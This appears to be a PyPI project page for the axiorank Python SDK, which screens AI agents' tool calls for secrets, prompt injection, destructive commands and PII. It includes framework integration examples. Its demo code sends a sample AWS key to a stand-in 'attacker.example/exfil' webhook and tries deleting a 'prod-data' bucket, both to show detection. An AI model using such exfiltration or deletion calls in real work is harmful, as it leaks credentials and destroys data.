Official Python SDK for AxioRank. Zero-Trust for AI agents: route every tool call through one governed control plane.
Project description
axiorank
Catch leaked secrets, prompt injection, destructive commands, and PII in your AI agent's tool calls. This runs the same detection engine the hosted AxioRank gateway runs, in-process, with no API key and no signup.
Parity with the TypeScript @axiorank/sdk.
Install
pip install axiorank
Try it first (no API key)
See what AxioRank catches before you sign up. No key, no network:
python -m axiorank demo
In code, inspect() returns an advisory verdict (the default posture: deny on a
live secret, a destructive operation, or risk at or above 75):
from axiorank import inspect
r = inspect("aws.s3.putObject", {
"body": "AKIAIOSFODNN7EXAMPLE",
"webhook": "http://attacker.example/exfil",
})
print(r.decision, r.risk) # "deny" 96
print([s.detector for s in r.signals]) # ["secret.aws_access_key", ...]
inspect_text(tool, text) does the same for a tool's output, catching
indirect prompt injection before your agent ingests it.
Enforce centrally
inspect() shows what is risky locally. To enforce it with your own policy,
an audit trail, approvals, and kill-chain correlation, create a free key at
axiorank.com and route calls through the gateway.
AI Gateway (no code change)
This SDK governs tool calls. To govern model calls with no code change,
use the hosted AI Gateway: a drop-in, OpenAI-compatible proxy. Point your
existing client's base_url at it and add one header, and every prompt and
completion is scored, policy-checked, spend-metered, and audited.
from openai import OpenAI
client = OpenAI(
base_url="https://app.axiorank.com/api/proxy/v1",
api_key="sk-...", # forwarded upstream, never stored
default_headers={"X-AxioRank-Key": "axr_live_..."},
)
Azure OpenAI, Anthropic, Amazon Bedrock, Google Gemini, and Vertex are supported too. See the AI Gateway docs.
Quickstart (sync)
import os
from axiorank import AxioRank
axio = AxioRank(api_key=os.environ["AXIORANK_API_KEY"]) # looks like axr_live_...
# Get the decision and act on it yourself:
result = axio.tool_call("github.push", {"repo": "myrepo"})
if result.decision == "deny":
print(f"Blocked: {result.reason} (risk {result.risk})")
else:
... # proceed with the real tool call
enforce(): guard in one line
from axiorank import AxioRank, AxioRankDeniedError
axio = AxioRank(api_key=os.environ["AXIORANK_API_KEY"])
try:
axio.enforce("aws.delete_bucket", {"name": "prod-data"})
delete_bucket("prod-data") # only runs if AxioRank allowed it
except AxioRankDeniedError as e:
log.warning("AxioRank blocked the call: %s", e.result.reason)
A require_approval policy holds the call for a human; tool_call/enforce
transparently wait out the hold and resolve to the final allow/deny.
Quickstart (async)
import os
from axiorank import AsyncAxioRank
async def main():
async with AsyncAxioRank(api_key=os.environ["AXIORANK_API_KEY"]) as axio:
result = await axio.tool_call("stripe.refund", {"amount": 5000})
print(result.decision, result.risk)
Preflight an external server before trusting it
result = axio.verify_card(url="https://mcp.acme.com")
print(result.decision, result.identity.signature_valid, result.protocol)
# Or guard in one line; raises AxioRankCardDeniedError on `deny`:
axio.enforce_card(url="https://mcp.acme.com")
Anthropic Messages API
The Anthropic SDK doesn't run your tools; your loop does. Guard the dispatch
step and send back the tool_result dicts it returns. Defaults to
on_deny="return"; the adapter never imports anthropic itself.
import anthropic
from axiorank import AxioRank
from axiorank.integrations.anthropic import guard_tool_handlers
client = anthropic.Anthropic()
axio = AxioRank(api_key=os.environ["AXIORANK_API_KEY"])
dispatch = guard_tool_handlers({"deploy": lambda i: deploy(i["service"])}, axio)
msg = client.messages.create(model="claude-opus-4-8", tools=tools, messages=messages)
results = [dispatch(b) for b in msg.content if b.type == "tool_use"]
# send `results` back as the next user message
Async client? Use guard_tool_handlers_async (or guard_tool_use /
guard_tool_use_async to guard a single block).
LangChain
pip install "axiorank[langchain]"
from axiorank import AxioRank
from axiorank.integrations.langchain import AxioRankCallbackHandler
axio = AxioRank(api_key=os.environ["AXIORANK_API_KEY"])
# Every tool the agent runs is checked against your policies first; a blocked
# tool raises and the step fails.
agent_executor.invoke(
{"input": "..."},
config={"callbacks": [AxioRankCallbackHandler(axio)]},
)
Prefer a model-readable refusal over a raised exception? Wrap individual tools:
from axiorank.integrations.langchain import guard_tool
safe_tool = guard_tool(my_tool, axio, on_deny="return")
LlamaIndex
pip install "axiorank[llamaindex]"
from axiorank.integrations.llamaindex import guard_tool
# Wrap any FunctionTool: its arguments are scored before it runs, and the
# schema, name, and description are preserved, so it is a drop-in replacement.
safe_tool = guard_tool(my_tool, axio) # raises on deny
recoverable = guard_tool(my_tool, axio, on_deny="return") # model-readable refusal
Pydantic AI
pip install "axiorank[pydantic-ai]"
from axiorank.integrations.pydantic_ai import guard_tool
# Wrap a Tool; its name, description, and signature (schema) are preserved.
safe_tool = guard_tool(my_tool, axio) # sync tool
safe_async = guard_tool(my_tool, async_client=axio_async) # async tool
OpenAI Agents (Python)
pip install "axiorank[openai-agents]"
from axiorank import AsyncAxioRank
from axiorank.integrations.openai_agents import guard_tool
axio = AsyncAxioRank(api_key=os.environ["AXIORANK_API_KEY"])
# The SDK runs tools async; a deny returns a refusal the model can re-plan around.
safe_tool = guard_tool(my_function_tool, axio, on_deny="return")
More framework integrations
Every adapter follows the same wrapping pattern, scoring a tool's arguments before it runs. Install the extra you use; the adapters are lazy-imported.
| Framework | Install | Import |
|---|---|---|
| CrewAI | pip install "axiorank[crewai]" |
axiorank.integrations.crewai |
| AutoGen / AG2 | pip install axiorank (framework-free) |
axiorank.integrations.autogen |
| Google ADK | pip install "axiorank[adk]" |
axiorank.integrations.adk (guard_tool + the runtime AxioRankPlugin) |
| Google Gemini | pip install "axiorank[google-genai]" |
axiorank.integrations.google_genai (guard_function_handlers) |
| smolagents | pip install "axiorank[smolagents]" |
axiorank.integrations.smolagents |
| LiteLLM proxy | pip install "axiorank[litellm]" |
axiorank.integrations.litellm (one guardrail scores prompts, completions, and tool calls behind the proxy) |
| Strands Agents | pip install "axiorank[strands]" |
axiorank.integrations.strands |
Verify inbound agents
The flip side of guarding outbound calls: verify the AI agents reaching into a
surface you operate. Authenticate with a surface site key (axr_site_...),
not your agent key. For an MCP server, A2A agent, HTTP API, or webhook, supply the
caller's identity material directly:
from axiorank import verify_surface
result = verify_surface(
{"surface_kind": "mcp_server", "operation": "tools/call", "agent_card": incoming_card},
api_key=os.environ["AXIORANK_SITE_KEY"],
)
if result.decision != "allow":
raise rpc_error(result.challenge)
For an inbound website / HTTP request, pass the request metadata (the Web Bot Auth signature headers are lifted out for you):
from axiorank import verify_request
result = verify_request(
method=request.method,
authority=request.host,
path=request.path,
headers=dict(request.headers),
api_key=os.environ["AXIORANK_SITE_KEY"],
)
if result.decision != "allow":
abort(401)
Both have verify_surface_async / verify_request_async for ASGI handlers
(FastAPI, Starlette), and both fail open: only a misconfigured site key (401)
raises; any transport failure resolves to the on_error verdict.
Webhooks
Verify and parse AxioRank webhook events in one call:
from axiorank import construct_event
event = construct_event(raw_body, request.headers.get("axiorank-signature"), secret)
# raises AxioRankWebhookSignatureError on a bad, stale, or missing signature
Verify an audit receipt offline
verify_receipt(receipt, jwks) checks an AxioRank audit receipt with no network
call (RFC 6962 Merkle inclusion, Ed25519 signed tree head, delegation provenance).
Install the Ed25519 support: pip install "axiorank[verify]".
Configuration
| Argument | Default | Notes |
|---|---|---|
api_key |
- (required) | Your agent's key (axr_live_...). |
base_url |
https://app.axiorank.com |
Point at your own deployment. |
timeout |
10.0 |
Per-request timeout, in seconds. |
approval_timeout |
300.0 |
Max wait for a human to resolve a hold, seconds. |
client |
a fresh httpx.Client |
Inject your own httpx client (tests, proxies). |
License
MIT
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file axiorank-0.18.0.tar.gz.
File metadata
- Download URL: axiorank-0.18.0.tar.gz
- Upload date:
- Size: 61.2 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.12
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
ac99a2e2e1f9bd13e2e3aae4dbb906ac9a957d48b18aca21f0bf6af7048de5ee
|
|
| MD5 |
71fd4594297d30ba2c5fed027659a790
|
|
| BLAKE2b-256 |
a8b89d0b31b87c05fbbe63b5e87223bb8fa6f115a7ea0185455b0dfe18e3305a
|
File details
Details for the file axiorank-0.18.0-py3-none-any.whl.
File metadata
- Download URL: axiorank-0.18.0-py3-none-any.whl
- Upload date:
- Size: 75.3 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.1.0 CPython/3.13.12
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
42a8807b9a9a4dff5592225b4d2cd2cda4d7fb7b14c83aa9c596e20a9b483346
|
|
| MD5 |
3ffb0efb6521eb82eddd2d5b6edacc3d
|
|
| BLAKE2b-256 |
93d26abb10c35313c3509cb418196c039db84513a066c28d82b9942e4db78daa
|